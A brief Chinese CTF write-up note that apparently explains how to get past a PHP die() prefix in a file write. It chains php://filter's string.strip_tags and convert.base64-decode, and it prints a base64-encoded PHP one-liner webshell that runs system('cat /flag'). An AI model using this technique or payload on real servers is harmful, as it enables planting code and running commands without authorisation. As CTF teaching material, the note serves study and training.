wp-字符串过滤器+转换过滤器

字符串过滤器+转换过滤器

string.strip_tags + convert.base64-decode

原理：string.strip_tags将xml标签 <?php die( ' GAME OVER! ' ) ?>除掉，剩下base64加密后的一句话木马，convert.base64-decode读取并解密

PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTsgPz4g //<?php system('cat /flag'); ?>